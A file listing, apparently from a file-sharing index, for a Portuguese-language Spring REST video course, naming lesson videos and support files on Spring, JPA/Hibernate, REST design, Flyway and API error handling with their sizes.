Especialista Spring REST 2022

mp4   Hot:13   Size:25.41 GB   Created:2023-09-29 11:32:01   Update:2023-10-07 22:23:06  

File List

  • 00 ESR - Conteudo do treinamento/Conteudo do treinamento Opa.mp4 243.93 MB
    00 ESR - Conteudo do treinamento/Conteudo do treinamento Curso.pdf 347.24 KB
    00 ESR - Conteudo do treinamento/Conteudo do treinamento Modulos.png 191.03 KB
    00 ESR - Conteudo do treinamento/Conteudo do treinamento Modulos.txt 39.97 KB
    00 ESR - Conteudo do treinamento/Conteudo do treinamento Capa.png 30.82 KB
    00 ESR - Conteudo do treinamento/Conteudo do treinamento Projeto.jpg 200.71 KB
    01 Introdução/ESR - 01.01 - Introdução ao treinamento v2.mp4 63.24 MB
    01 Introdução/ESR - 01.02 - Como usar o suporte da AlgaWorks.mp4 29.6 MB
    01 Introdução/ESR - 01.03 - Por que desenvolver REST APIs.mp4 64.16 MB
    01 Introdução/ESR - 01.04 - Conhecendo o modelo de domínio do projeto do curso.mp4 33.07 MB
    01 Introdução/ESR - 01.05 - Preparando o ambiente de desenvolvimento - JDK e STS for Eclipse.mp4 28.71 MB
    01 Introdução/Conteudo de apoio/1.5. Preparando o ambiente de desenvolvimento JDK e STS for Eclipse.mp4 3.82 MB
    01 Introdução/Conteudo de apoio/1.5. Preparando o ambiente de desenvolvimento JDK e STS for Eclipse.txt 4.5 KB
    01 Introdução/Conteudo de apoio/ESR - 01.04 - Conhecendo o modelo de domínio do projeto do curso.jpg 200.71 KB
    02 Spring e Injeção de Dependências/ESR - 02.01 - Por que aprender e usar Spring.mp4 17.05 MB
    02 Spring e Injeção de Dependências/ESR - 02.02 - Conhecendo o ecossistema Spring.mp4 46.67 MB
    02 Spring e Injeção de Dependências/ESR - 02.03 - Spring vs Jakarta EE (Java EE).mp4 20.65 MB
    02 Spring e Injeção de Dependências/ESR - 02.04 - Conhecendo o Spring Boot.mp4 16.92 MB
    02 Spring e Injeção de Dependências/ESR - 02.05 - Criando um projeto Spring Boot com Spring Initializr.mp4 50.53 MB
    02 Spring e Injeção de Dependências/ESR - 02.06 - Conhecendo o Maven e o pom.xml de um projeto Spring Boot.mp4 115.77 MB
    02 Spring e Injeção de Dependências/ESR - 02.07 - Criando um controller com Spring MVC.mp4 16.56 MB
    02 Spring e Injeção de Dependências/ESR - 02.08 - Restart mais rápido da aplicação com DevTools.mp4 21.7 MB
    02 Spring e Injeção de Dependências/ESR - 02.09 - O que é injeção de dependências.mp4 104.41 MB
    02 Spring e Injeção de Dependências/ESR - 02.10 - Conhecendo o IoC Container do Spring.mp4 6.55 MB
    02 Spring e Injeção de Dependências/ESR - 02.11 - Definindo beans com @Component.mp4 47.09 MB
    02 Spring e Injeção de Dependências/ESR - 02.12 - Injetando dependências (beans Spring).mp4 83.92 MB
    02 Spring e Injeção de Dependências/ESR - 02.13 - Usando @Configuration e @Bean para definir beans.mp4 81.87 MB
    02 Spring e Injeção de Dependências/ESR - 02.14 - Conhecendo os pontos de injeção e a anotação @Autowired.mp4 45.72 MB
    02 Spring e Injeção de Dependências/ESR - 02.15 - Dependência opcional com @Autowired.mp4 15.75 MB
    02 Spring e Injeção de Dependências/ESR - 02.16 - Ambiguidade de beans e injeção de lista de beans.mp4 28.69 MB
    02 Spring e Injeção de Dependências/ESR - 02.17 - Desambiguação de beans com @Primary.mp4 13.42 MB
    02 Spring e Injeção de Dependências/ESR - 02.18 - Desambiguação de beans com @Qualifier.mp4 31.43 MB
    02 Spring e Injeção de Dependências/ESR - 02.19 - Desambiquação de beans com anotação customizada.mp4 35.84 MB
    02 Spring e Injeção de Dependências/ESR - 02.20 - Mudando o comportamento da aplicação com Spring Profiles.mp4 51.49 MB
    02 Spring e Injeção de Dependências/ESR - 02.21 - Criando métodos de callback do ciclo de vida dos beans.mp4 47.5 MB
    02 Spring e Injeção de Dependências/ESR - 02.22 - Publicando e consumindo eventos customizados.mp4 81.32 MB
    02 Spring e Injeção de Dependências/ESR - 02.23 - Configurando projetos Spring Boot com o application.properties.mp4 32.56 MB
    02 Spring e Injeção de Dependências/ESR - 02.24 - Substituindo propriedades via linha de comando e variáveis de ambiente.mp4 19.21 MB
    02 Spring e Injeção de Dependências/ESR - 02.25 - Criando e acessando propriedades customizadas com @Value.mp4 23.54 MB
    02 Spring e Injeção de Dependências/ESR - 02.26 - Acessando propriedades com @ConfigurationProperties.mp4 44.72 MB
    02 Spring e Injeção de Dependências/ESR - 02.27 - Alterando a configuração do projeto dependendo do ambiente (com Spring Profiles).mp4 41.32 MB
    02 Spring e Injeção de Dependências/ESR - 02.28 - Ativando o Spring Profile por linha de comando e variável de ambiente.mp4 19.54 MB
    02 Spring e Injeção de Dependências/Conteudo de apoio/2.5. Criando um projeto Spring Boot com Spring Initializr.mp4 1.41 MB
    02 Spring e Injeção de Dependências/Conteudo de apoio/2.5. Criando um projeto Spring Boot com Spring Initializr.txt 2.54 KB
    02 Spring e Injeção de Dependências/Conteudo de apoio/2.23. Configurando projetos Spring Boot com o application.png 59.56 KB
    02 Spring e Injeção de Dependências/Conteudo de apoio/2.23. Configurando projetos Spring Boot com o application.txt 90 B
    02 Spring e Injeção de Dependências/Conteudo de apoio/2.23. Configurando projetos Spring Boot com o application.URL 274 B
    03 Introdução ao JPA e Hibernate/ESR - 03.01 - Instalando o MySQL Server e MySQL Workbench.mp4 16.46 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.02 - O que é JPA e Hibernate.mp4 45.58 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.03 - Adicionando JPA e configurando o Data Source.mp4 65.88 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.04 - Mapeando entidades com JPA.mp4 45.58 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.05 - Criando as tabelas do banco a partir das entidades.mp4 39.49 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.06 - Mapeando o id da entidade para autoincremento.mp4 15.37 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.07 - Importando dados de teste com import.mp4 9.64 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.08 - Consultando objetos do banco de dados.mp4 79.94 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.09 - Adicionando um objeto no banco de dados.mp4 40.51 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.10 - Buscando um objeto pelo id no banco de dados.mp4 12.75 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.11 - Atualizando um objeto no banco de dados.mp4 18.49 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.12 - Excluindo um objeto do banco de dados.mp4 30.98 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.13 - Conhecendo o padrão Aggregate do DDD.mp4 41.51 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.14 - Conhecendo o padrão Repository.mp4 63.78 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.15 - Conhecendo e usando o Lombok.mp4 49.85 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.16 - Desafio - Lombok e repositório de restaurantes.mp4 12.52 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.17 - Mapeando relacionamento com @ManyToOne.mp4 67.69 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.18 - A anotação @JoinColumn.mp4 16.27 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.19 - Propriedade nullable de @Column e @JoinColumn.mp4 17.52 MB
    03 Introdução ao JPA e Hibernate/ESR - 03.20 - Desafio - Mapeando entidades.mp4 13.68 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.1. Instalando o MySQL Server e MySQL Workbench.mp4 6.6 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.1. Instalando o MySQL Server e MySQL Workbench.txt 4.34 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.2. O que é JPA e Hibernate.mp4 33.05 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.2. O que é JPA e Hibernate.mp4 Codigo Fonte Artigo.zip 10.33 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.2. O que é JPA e Hibernate.txt 29.98 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.2. O que é JPA e Hibernate.URL 224 B
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.3. Adicionando JPA e configurando o Data Source.png 166.98 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.3. Adicionando JPA e configurando o Data Source.txt 45 B
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.3. Adicionando JPA e configurando o Data Source.URL 229 B
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.4. Mapeando entidades com JPA Entendendo o equals e o hashCode Aula.mp4 69.09 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.4. Mapeando entidades com JPA Entendendo o equals e o hashCode Texto.mp4 10.63 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.4. Mapeando entidades com JPA Entendendo o equals e o hashCode.txt 8.33 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.4. Mapeando entidades com JPA Entendendo o equals e o hashCode.URL 242 B
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.13. Conhecendo o padrão Aggregate do DDD - Domain-Driven Design Atacando as complexidades no coração do software.jpg 118.96 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.16. Desafio Lombok e repositório de restaurantes.mp4 1.73 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.16. Desafio Lombok e repositório de restaurantes.rar 1.69 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.16. Desafio Lombok e repositório de restaurantes.txt 2.76 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.20. Desafio mapeando entidades.mp4 13.56 MB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/3.20. Desafio mapeando entidades.txt 10.96 KB
    03 Introdução ao JPA e Hibernate/Conteudo de apoio/ESR - Diagrama de classes.png 153.73 KB
    04 REST com Spring/ESR - 04.01 - O que é REST.mp4 10.57 MB
    04 REST com Spring/ESR - 04.02 - Conhecendo as constraints do REST.mp4 15.13 MB
    04 REST com Spring/ESR - 04.03 - Diferença entre REST e RESTful.mp4 3.78 MB
    04 REST com Spring/ESR - 04.04 - Desenvolvedores de REST APIs puristas e pragmáticos.mp4 5.76 MB
    04 REST com Spring/ESR - 04.05 - Conhecendo o protocolo HTTP.mp4 15.33 MB
    04 REST com Spring/ESR - 04.06 - Usando o protocolo HTTP.mp4 79.67 MB
    04 REST com Spring/ESR - 04.07 - Instalando e testando o Postman.mp4 31.05 MB
    04 REST com Spring/ESR - 04.08 - Entendendo o que são Recursos REST.mp4 3.34 MB
    04 REST com Spring/ESR - 04.09 - Identificando recursos REST.mp4 10.91 MB
    04 REST com Spring/ESR - 04.10 - Modelando e requisitando um collection resource com GET.mp4 55.18 MB
    04 REST com Spring/ESR - 04.11 - Desafio - collection resource de estados.mp4 3.77 MB
    04 REST com Spring/ESR - 04.12 - Representações de recursos e content negotiation.mp4 8.57 MB
    04 REST com Spring/ESR - 04.13 - Implementando content negotiation para retornar JSON ou XML.mp4 63.6 MB
    04 REST com Spring/ESR - 04.14 - Consultando Singleton Resource com GET e @PathVariable.mp4 36.08 MB
    04 REST com Spring/ESR - 04.15 - Customizando as representações XML e JSON com @JsonIgnore, @JsonProperty e @JsonRootName.mp4 45.51 MB
    04 REST com Spring/ESR - 04.16 - Customizando a representação em XML com Wrapper e anotações do Jackson.mp4 68.22 MB
    04 REST com Spring/ESR - 04.17 - Conhecendo os métodos HTTP.mp4 22.28 MB
    04 REST com Spring/ESR - 04.18 - Conhecendo os códigos de status HTTP.mp4 21.12 MB
    04 REST com Spring/ESR - 04.19 - Definindo o status da resposta HTTP com @ResponseStatus.mp4 10.48 MB
    04 REST com Spring/ESR - 04.20 - Manipulando a resposta HTTP com ResponseEntity.mp4 62.02 MB
    04 REST com Spring/ESR - 04.21 - Corrigindo o Status HTTP para resource inexistente.mp4 25.43 MB
    04 REST com Spring/ESR - 04.22 - Status HTTP para collection resource vazia- qual usar.mp4 12.03 MB
    04 REST com Spring/ESR - 04.23 - Modelando e implementando a inclusão de recursos com POST.mp4 48.19 MB
    04 REST com Spring/ESR - 04.24 - Negociando o media type do payload do POST com Content-Type.mp4 13.55 MB
    04 REST com Spring/ESR - 04.25 - Modelando e implementando a atualização de recursos com PUT.mp4 70.04 MB
    04 REST com Spring/ESR - 04.26 - Modelando e implementando a exclusão de recursos com DELETE.mp4 58.92 MB
    04 REST com Spring/ESR - 04.27 - Implementando a camada de domain services (e a importância da linguagem ubíqua).mp4 57.15 MB
    04 REST com Spring/ESR - 04.28 - Refatorando a exclusão de cozinhas para usar domain services.mp4 95.94 MB
    04 REST com Spring/ESR - 04.29 - Desafio - modelando e implementando a consulta de recursos de restaurantes.mp4 21.74 MB
    04 REST com Spring/ESR - 04.30 - Modelando e implementando a inclusão de recursos de restaurantes.mp4 109.09 MB
    04 REST com Spring/ESR - 04.31 - Modelando e implementando a atualização de recursos de restaurantes.mp4 8.28 MB
    04 REST com Spring/ESR - 04.32 - Desafio - implementando serviços REST de cidades e estados.mp4 20.68 MB
    04 REST com Spring/ESR - 04.33 - Analisando solução para atualização parcial de recursos com PATCH.mp4 88.91 MB
    04 REST com Spring/ESR - 04.34 - Finalizando a atualização parcial com a API de Reflections do Spring.mp4 116.65 MB
    04 REST com Spring/ESR - 04.35 - Introdução ao Modelo de Maturidade de Richardson (RMM).mp4 6.11 MB
    04 REST com Spring/ESR - 04.36 - Conhecendo o nível 0 do RMM.mp4 11.9 MB
    04 REST com Spring/ESR - 04.37 - Conhecendo o nível 1 do RMM.mp4 5.43 MB
    04 REST com Spring/ESR - 04.38 - Conhecendo o nível 2 do RMM.mp4 7.57 MB
    04 REST com Spring/ESR - 04.39 - Conhecendo o nível 3 do RMM.mp4 25.9 MB
    04 REST com Spring/Conteudo de apoio/4.6. Usando o protocolo HTTP.png 59.76 KB
    04 REST com Spring/Conteudo de apoio/4.6. Usando o protocolo HTTP.txt 427 B
    04 REST com Spring/Conteudo de apoio/4.7. Instalando e testando o Postman - Postman API Platform Sign Up for Free.URL 208 B
    04 REST com Spring/Conteudo de apoio/4.7. Instalando e testando o Postman - The API Design Platform and API Client - Insomnia.URL 206 B
    04 REST com Spring/Conteudo de apoio/4.11. Desafio collection resource de estados.png 76.16 KB
    04 REST com Spring/Conteudo de apoio/4.11. Desafio collection resource de estados.txt 728 B
    04 REST com Spring/Conteudo de apoio/4.11. Desafio collection resource de estados.URL 206 B
    04 REST com Spring/Conteudo de apoio/4.18. Conhecendo os códigos de status HTTP http-status-codes.txt 6.17 KB
    04 REST com Spring/Conteudo de apoio/4.18. Conhecendo os códigos de status HTTP.mp4 11.45 MB
    04 REST com Spring/Conteudo de apoio/4.18. Conhecendo os códigos de status HTTP.png 18.91 KB
    04 REST com Spring/Conteudo de apoio/4.18. Conhecendo os códigos de status HTTP.png Códigos de status de respostas HTTP - HTTP MDN.URL 240 B
    04 REST com Spring/Conteudo de apoio/4.18. Conhecendo os códigos de status HTTP.png Status Code Registry.URL 258 B
    04 REST com Spring/Conteudo de apoio/4.28. Refatorando a exclusão de cozinhas para usar domain services master.zip 8.28 KB
    04 REST com Spring/Conteudo de apoio/4.28. Refatorando a exclusão de cozinhas para usar domain services.mp4 24.99 MB
    04 REST com Spring/Conteudo de apoio/4.28. Refatorando a exclusão de cozinhas para usar domain services.png 13.54 KB
    04 REST com Spring/Conteudo de apoio/4.28. Refatorando a exclusão de cozinhas para usar domain services.txt 18.29 KB
    04 REST com Spring/Conteudo de apoio/4.28. Refatorando a exclusão de cozinhas para usar domain services.URL 228 B
    04 REST com Spring/Conteudo de apoio/4.29. Desafio modelando e implementando a consulta de recursos de restaurantes.mp4 921.71 KB
    04 REST com Spring/Conteudo de apoio/4.29. Desafio modelando e implementando a consulta de recursos de restaurantes.txt 1.51 KB
    04 REST com Spring/Conteudo de apoio/4.31. Desafio Modelando e implementando a atualização de recursos de restaurantes.mp4 1.26 MB
    04 REST com Spring/Conteudo de apoio/4.31. Desafio Modelando e implementando a atualização de recursos de restaurantes.txt 1.74 KB
    04 REST com Spring/Conteudo de apoio/4.32. Desafio implementando serviços REST de cidades e estados.mp4 7.99 MB
    04 REST com Spring/Conteudo de apoio/4.32. Desafio implementando serviços REST de cidades e estados.txt 7.3 KB
    04 REST com Spring/Conteudo de apoio/API de REST do GitHub - GitHub Docs.URL 215 B
    04 REST com Spring/Conteudo de apoio/GnuTLS.URL 203 B
    05 Super poderes do Spring Data JPA/ESR - 05.01 - Implementando consultas JPQL em repositórios.mp4 72.19 MB
    05 Super poderes do Spring Data JPA/ESR - 05.02 - Conhecendo o projeto Spring Data JPA (SDJ).mp4 14.35 MB
    05 Super poderes do Spring Data JPA/ESR - 05.03 - Criando um repositório com Spring Data JPA (SDJ).mp4 69.49 MB
    05 Super poderes do Spring Data JPA/ESR - 05.04 - Refatorando o código do projeto para usar o repositório do SDJ.mp4 69.43 MB
    05 Super poderes do Spring Data JPA/ESR - 05.05 - Desafio - refatorando todos os repositórios para usar SDJ.mp4 6.95 MB
    05 Super poderes do Spring Data JPA/ESR - 05.06 - Criando consultas com query methods.mp4 63.66 MB
    05 Super poderes do Spring Data JPA/ESR - 05.07 - Usando as keywords para definir critérios de query methods.mp4 40.22 MB
    05 Super poderes do Spring Data JPA/ESR - 05.08 - Conhecendo os prefixos de query methods.mp4 75.17 MB
    05 Super poderes do Spring Data JPA/ESR - 05.09 - Usando queries JPQL customizadas com @Query.mp4 34.68 MB
    05 Super poderes do Spring Data JPA/ESR - 05.10 - Externalizando consultas JPQL para um arquivo XML.mp4 23.05 MB
    05 Super poderes do Spring Data JPA/ESR - 05.11 - Implementando um repositório SDJ customizado.mp4 59.85 MB
    05 Super poderes do Spring Data JPA/ESR - 05.12 - Implementando uma consulta dinâmica com JPQL.mp4 44.08 MB
    05 Super poderes do Spring Data JPA/ESR - 05.13 - Implementando uma consulta simples com Criteria API.mp4 59.14 MB
    05 Super poderes do Spring Data JPA/ESR - 05.14 - Adicionando restrições na cláusula where com Criteria API.mp4 44.45 MB
    05 Super poderes do Spring Data JPA/ESR - 05.15 - Tornando a consulta com Criteria API com filtros dinâmicos.mp4 40.67 MB
    05 Super poderes do Spring Data JPA/ESR - 05.16 - Conhecendo o uso do padrão Specifications (DDD) com SDJ.mp4 45.45 MB
    05 Super poderes do Spring Data JPA/ESR - 05.17 - Implementando Specifications com SDJ.mp4 33.38 MB
    05 Super poderes do Spring Data JPA/ESR - 05.18 - Criando uma fábrica de Specifications.mp4 47.73 MB
    05 Super poderes do Spring Data JPA/ESR - 05.19 - Injetando o próprio repositório na implementação customizada e a anotação @Lazy.mp4 59.7 MB
    05 Super poderes do Spring Data JPA/ESR - 05.20 - Estendendo o JpaRepository para customizar o repositório base.mp4 55.48 MB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.4. Refatorando o código do projeto para usar o repositório do SDJ texto.mp4 13.6 MB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.4. Refatorando o código do projeto para usar o repositório do SDJ.jpg 185.81 KB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.4. Refatorando o código do projeto para usar o repositório do SDJ.mp4 65.68 MB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.4. Refatorando o código do projeto para usar o repositório do SDJ.txt 10.22 KB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.5. Desafio refatorando todos os repositórios para usar SDJ.mp4 5.93 MB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.5. Desafio refatorando todos os repositórios para usar SDJ.txt 6.99 KB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.7. Usando as keywords para definir critérios de query methods.png 100.83 KB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.7. Usando as keywords para definir critérios de query methods.txt 100 B
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.7. Usando as keywords para definir critérios de query methods.URL 284 B
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.7. Usando as keywords para definir critérios de query methods_.png 16.33 KB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.10. Externalizando consultas JPQL para um arquivo XML.png 14.1 KB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.10. Externalizando consultas JPQL para um arquivo XML.zip 738 B
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.11. Implementando um repositório SDJ customizado.mp4 12.14 MB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.11. Implementando um repositório SDJ customizado.png 13.6 KB
    05 Super poderes do Spring Data JPA/Conteudo de apoio/5.11. Implementando um repositório SDJ customizado.URL 235 B
    06 Explorando mais do JPA e Hibernate/ESR - 06.01 -Mapeando relacionamento bidirecional com @OneToMany.mp4 60.81 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.02 - Mapeando relacionamento muitos-para-muitos com @ManyToMany.mp4 33.65 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.03 - Analisando o impacto do relacionamento muitos-para-muitos na REST API.mp4 61.39 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.04 - Mapeando classes incorporáveis com @Embedded e @Embeddable.mp4 48.55 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.05 - Testando e analisando o impacto da incorporação de classe na REST API.mp4 45.51 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.06 - Mapeando propriedades com @CreationTimestamp e @UpdateTimestamp.mp4 89.61 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.07 - Desafio - mapeando relacionamento muitos-para-um.mp4 5.85 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.08 - Desafio - mapeando relacionamento um-para-muitos.mp4 5.74 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.09 - Desafio - mapeando relacionamentos muitos-para-muitos.mp4 22.94 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.10 - Entendendo o Eager Loading.mp4 101.07 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.11 - Entendendo o Lazy Loading.mp4 80.55 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.12 - Alterando a estratégia de fetching para Lazy Loading.mp4 56.99 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.13 - Alterando a estratégia de fetching para Eager Loading.mp4 15.26 MB
    06 Explorando mais do JPA e Hibernate/ESR - 06.14 - Resolvendo o Problema do N+1 com fetch join na JPQL.mp4 27.05 MB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.7. Desafio mapeando relacionamento muitos-para-um.mp4 933.04 KB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.7. Desafio mapeando relacionamento muitos-para-um.txt 1.75 KB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.8. Desafio mapeando relacionamento um-para-muitos.mp4 5.11 MB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.8. Desafio mapeando relacionamento um-para-muitos.txt 3.58 KB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.9. Desafio mapeando relacionamentos muitos-para-muitos.mp4 1.27 MB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.10. Entendendo o Eager Loading JOIN.png 137.47 KB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.10. Entendendo o Eager Loading.mp4 8.1 MB
    06 Explorando mais do JPA e Hibernate/Conteudo de apoio/6.10. Entendendo o Eager Loading.txt 8.25 KB
    07 Pool de conexões e Flyway/ESR - 07.01 - Entendendo o funcionamento de um pool de conexões.mp4 48.75 MB
    07 Pool de conexões e Flyway/ESR - 07.02 - Conhecendo o Hikari - a solução padrão de pool de conexões no Spring Boot.mp4 49.09 MB
    07 Pool de conexões e Flyway/ESR - 07.03 - Configurando o pool de conexões do Hikari.mp4 47.46 MB
    07 Pool de conexões e Flyway/ESR - 07.04 - Schema generation em produção não é uma boa prática.mp4 31.14 MB
    07 Pool de conexões e Flyway/ESR - 07.05 - Flyway - ferramenta de versionamento de schemas de banco de dados.mp4 54.99 MB
    07 Pool de conexões e Flyway/ESR - 07.06 - Adicionando o Flyway no projeto e criando a primeira migração.mp4 88.7 MB
    07 Pool de conexões e Flyway/ESR - 07.07 - Evoluindo o banco de dados com novas migrações.mp4 62.1 MB
    07 Pool de conexões e Flyway/ESR - 07.08- Criando migrações complexas com remanejamento de dados.mp4 40.36 MB
    07 Pool de conexões e Flyway/ESR - 07.09 - Criando migração a partir de DDL gerado por schema generation.mp4 61.68 MB
    07 Pool de conexões e Flyway/ESR - 07.10 - Adicionando dados de testes com callback do Flyway.mp4 62.14 MB
    07 Pool de conexões e Flyway/ESR - 07.11 - Reparando migrações com erros.mp4 64.29 MB
    07 Pool de conexões e Flyway/ESR - 07.12 - Desafio - Criando migrações e mapeando as entidades Pedido e ItemPedido.mp4 21.69 MB
    07 Pool de conexões e Flyway/Conteudo de apoio/7.8. Criando migrações complexas com remanejamento de dados.png 34.31 KB
    07 Pool de conexões e Flyway/Conteudo de apoio/7.8. Criando migrações complexas com remanejamento de dados.txt 512 B
    07 Pool de conexões e Flyway/Conteudo de apoio/7.12. Desafio Criando migrações e mapeando as entidades Pedido e ItemPedido.mp4 4.28 MB
    07 Pool de conexões e Flyway/Conteudo de apoio/7.12. Desafio Criando migrações e mapeando as entidades Pedido e ItemPedido.txt 3.99 KB
    08 Tratamento e modelagem de erros da API/ESR - 08.01 - Introdução ao tratamento e modelagem de erros.mp4 1.94 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.02 - Lançando exceções customizadas anotadas com @ResponseStatus v2.mp4.mp4 62.79 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.03 - Lançando exceções do tipo ResponseStatusException.mp4 44.85 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.04 - Estendendo ResponseStatusException.mp4 51.94 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.05 - Simplificando o código com o uso de @ResponseStatus em exceptions.mp4 77 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.06 - Desafio - refatorando os serviços REST.mp4 6.92 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.07 - Analisando os impactos da refatoração.mp4 43.54 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.08 - Criando a exception NegocioException.mp4 76.81 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.09 - Desafio - usando a exception NegocioException.mp4 5.85 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.10 - Afinando a granularidade e definindo a hierarquia das exceptions de negócios.mp4 130.67 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.11 - Desafio - lançando exceptions de granularidade fina.mp4 9.05 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.12 - Tratando exceções em nível de controlador com @ExceptionHandler.mp4 66.04 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.13 - Tratando exceções globais com @ExceptionHandler e @ControllerAdvice.mp4 21.28 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.14 - Desafio - implementando exception handler.mp4 15 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.15 - Criando um exception handler global com ResponseEntityExceptionHandler.mp4 32.24 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.16 - Customizando o corpo da resposta padrão de ResponseEntityExceptionHandler.mp4 71.42 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.17 - Conhecendo a RFC 7807 Problem Details for HTTP APIs.mp4 14.99 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.18 - Padronizando o formato de problemas no corpo de respostas com a RFC 7807.mp4 78.86 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.19 - Desafio - usando o formato de problemas no corpo de respostas.mp4 10.57 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.20 - Customizando exception handlers de ResponseEntityExceptionHandler.mp4 41.63 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.21 - Tratando a exception InvalidFormatException na desserialização.mp4 119.48 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.22 - Habilitando erros na desserialização de propriedades inexistentes ou ignoradas.mp4 33.83 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.23 - Desafio - tratando PropertyBindingException na desserialização.mp4 19.98 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.24 - Lançando exception de desserialização na atualização parcial (PATCH).mp4 98.6 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.25 - Desafio - tratando exception de parâmetro de URL inválido.mp4 13.58 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.26 - Desafio - tratando a exceção NoHandlerFoundException.mp4 27.82 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.27 - Desafio - tratando outras exceções não capturadas.mp4 13.05 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.28 - Estendendo o formato do problema para adicionar novas propriedades.mp4 61.2 MB
    08 Tratamento e modelagem de erros da API/ESR - 08.29 - Desafio - estendendo o formato do problema.mp4 23.22 MB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.6. Desafio refatorando os serviços REST.mp4 6.25 MB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.6. Desafio refatorando os serviços REST.txt 6.81 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.9. Desafio usando a exception NegocioException.png 144.11 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.9. Desafio usando a exception NegocioException.txt 1.04 KB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.11. Desafio lançando exceptions de granularidade fina.mp4 3.36 MB
    08 Tratamento e modelagem de erros da API/Conteudo de apoio/8.11. Desafio lançando exceptions de granularidade fina.txt 3.86 KB
